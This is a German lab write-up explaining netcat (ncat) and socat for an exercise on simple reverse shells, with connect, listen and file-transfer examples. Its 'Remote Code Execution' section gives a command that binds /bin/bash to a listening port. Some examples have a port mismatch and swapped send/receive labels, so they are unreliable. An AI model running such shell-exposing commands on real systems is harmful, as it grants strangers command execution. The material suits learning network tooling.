Write-up zu Simple Netcat Socat Reverse Shells #
Einführung #
In einer Übung soll die Reverse Shell mit Netcat erstellt werden. Diese Programm ist nach Wikipedia ziemlich universell einsetzbar:
- Ausgehende oder eingehende Verbindungen, TCP oder UDP, zu oder von beliebigen Ports
- Vollständige DNS-Vorwärts-/Rückwärtsprüfung, mit entsprechenden Warnungen
- Möglichkeit zur Verwendung eines beliebigen lokalen Quellports
- Möglichkeit, jede lokal konfigurierte Netzwerk-Quelladresse zu verwenden
- Integrierte Port-Scanning-Funktionen mit Zufallsgenerator
- Integrierte Fähigkeit zum losen Source-Routing
- Kann Befehlszeilenargumente von der Standardeingabe lesen
- Slow-Send-Modus, eine Zeile alle N Sekunden
- Hex-Dump der gesendeten und empfangenen Daten
- Optionale Möglichkeit, einen anderen Programmdienst Verbindungen aufbauen zu lassen
- Optionaler Telnet-Optionen-Responder
Das Shell Tool ist in der Regel nc oder ncat. Die Konfiguration ist einfacher, wenn man im Hinterkopf behält, dass nc in 2 Modi funktioniert. Der connect Mode erlaubt es, dass beispielsweise der output von lokalen Programmen über das Netz gesendet wird (z.B. zu socat). Der listen Mode macht genau das umgekehrte, wartet also, bis ihm jemand Daten sendet. Default ist der connect mode in ncat. Die Dokumentation zu ncat ist sehr hilfreich. Ncat macht z.B. per default tcp Verbindungen und mit -u kann auf udp umgestellt werden.
Beispiele für ncat #
Beispiele für connect #
ncat elsensohn.ch 80
# Anschliessend im Program
GET /
# Resultat ist die HTTP HTML Page
Beispiele für listen #
ncat -l 8080
# Verbindungsaufbau dann z.B mit telnet
telnet localhost 8080
Beispiel für das Senden / Empfangen einer Datei #
# senden von Dateien
ncat -l 8080 > file.txt
# empfangen von Dateien
ncat 192.168.1.100 8080 --send-only < data.txt
Beispiel für Remote Code Execution #
# ausführen des Empfangenen Textes
ncat -l 10000 -e /bin/bash
# text für eine Ausführung senden (ginge auch mit anderen Tools)
ncat localhost 8080
In der Übung wird auch socat verwendet, dass ein Relais für bidirektionale Datenübertragungen zwischen zwei unabhängigen Datenkanälen ist. Es gibt viele verschiedene Arten von Kanälen, die socat verbinden kann, darunter (vgl. Getting Started Socat):
- Dateien
- Leitungen
- Geräte
- Sockets (UNIX, IP4, IP6 - raw, UDP, TCP)
- Dateideskriptoren (stdin, etc.)
- Programme
Nach Getting Started Socat tun Netcat und Socat ähnliche Dinge, aber socat hat mehr zusätzliche Funktionalität, wie z. B. das Zulassen, dass mehrere Clients auf einem Port lauschen, oder die Wiederverwendung von Verbindungen.
Fragen #
Kann man auch UDP verwenden? #
mit den -u parameter.
Kann man einen HTTP Endpoint mit netcat betreiben? #
Man könnte netcat dazwischenschalten, um z.B. eine Portumleitung zu machen. Aber es braucht einen http server, da netcat nur den transfer macht.